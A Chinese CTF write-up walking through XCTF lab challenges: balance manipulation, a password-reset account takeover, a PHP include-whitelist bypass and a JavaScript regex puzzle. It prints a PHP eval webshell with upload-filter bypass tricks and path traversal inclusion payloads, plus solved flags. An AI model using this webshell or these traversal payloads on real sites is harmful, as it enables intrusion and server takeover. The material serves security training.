XCTF靶场实战(3)

lottery
这是一个菠菜网站的源码
先正常注册一个账户  之后会送你20美元用于菠菜
之后要通过赢的美元去购买相应的flag
接下来对网站进行扫描
接下来可以通过gitHack工具下载相应的网站源码
分析后找到了漏洞的位置  接下来我们需要对抓包得到的数据包进行修改
之后放行 钱就增加了很多了。之后可以通过重放模块去刷钱 刷够了买payload即可
bug
进入以后先正常注册用户
之后登录
通过抓包分析以后 发现登陆以后没有越权漏洞可以利用
那我们可以抓包分析找回密码的功能
我们可以放包继续下一步
此时发现越权成功  我们直接登录admin账户
之后登录以后点击管理模块发现ip地址有限制
之后我们抓包修改ip源
进行如下猜测(文件管理 要么file  要么upload  要么file_upload之类的)
http://111.200.241.244:54799/index.php?module=filemanage&do=upload
看似只能上传图片 我们把一句话木马上传
但是文件内容中的<?php代码也会被拦截掉 所以php代码不能出现特征标签
绕过方式:
MIME:image/jpeg
GIF89a
可以考虑使用js的代码
<script language="php">eval($_POST['cmd'])</script>
而且对后缀也有过滤 这里可以通过的后缀是php4
cyberpeace{9993cb0261d633a0577b81340bd7b09b}
warmup
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            //白名单 只允许source.php或者hint.php
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            //在不在白名单中
            if (in_array($page, $whitelist)) {
                return true;
            }
            //取问号前面的东西
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "
<img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>
这题已经做过很多次了 这里不多赘述
包含hint.php得到提示
flag在    ffffllllaaaagggg
/source.php?file=hint.php%25%33%66/../../../../../../../../../../ffffllllaaaagggg
file=hint.php?/../../../../ffffllllaaaagggg
file=hint.php%3f/../../../../ffffllllaaaagggg
file=hint.php%25%33%66/../../../../../../../../../../ffffllllaaaagggg
flag{25e7bce6005c4e0c983fb97297ac6e5a}
小知识:在linux系统的 include后面第一次发现"/"  那么前面的内容自动失效 从这个之后开始包含(../不算 这个不行)
  
12
js可以使用eval把字符串当作js执行,也可以alert弹窗
be0f233ac7be98aa
function $(){var e=document.getElementById("c").value;if(e.length==16)if(e.match(/^be0f23/)!=null)if(e.match(/233ac/)!=null)if(e.match(/e98aa$/)!=null)if(e.match(/c7be9/)!=null){var t=["fl","s_a","i","e}"];var n=["a","_h0l","n"];var r=["g{","e","_0"];var i=["it'","_","n"];var s=[t,n,r,i];for(var o=0;o<13;++o){document.write(s[o%4][0]);s[o%4].splice(0,1)}}}document.write('<input id="c"><button οnclick=$()>Ok</button>');delete _
在代码格式化的框中
function $() {
    var e = document.getElementById("c").value;
    if (e.length == 16) if (e.match(/^be0f23/) != null) if (e.match(/233ac/) != null) if (e.match(/e98aa$/) != null) if (e.match(/c7be9/) != null) {
        var t = ["fl", "s_a", "i", "e}"];
        var n = ["a", "_h0l", "n"];
        var r = ["g{", "e", "_0"];
        var i = ["it'", "_", "n"];
        var s = [t, n, r, i];
        for (var o = 0; o < 13; ++o) {
            document.write(s[o % 4][0]);
            s[o % 4].splice(0, 1)
        }
    }
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete _
正则表达式表示 以be0f23打头,233ac作为中间内容,e98aa作为结尾, c7be9作为中间内容,所以可以进行组合
be0f23  233ac c7be9 e98aa
be0f233ac7be98aa
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Simon_Smith

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值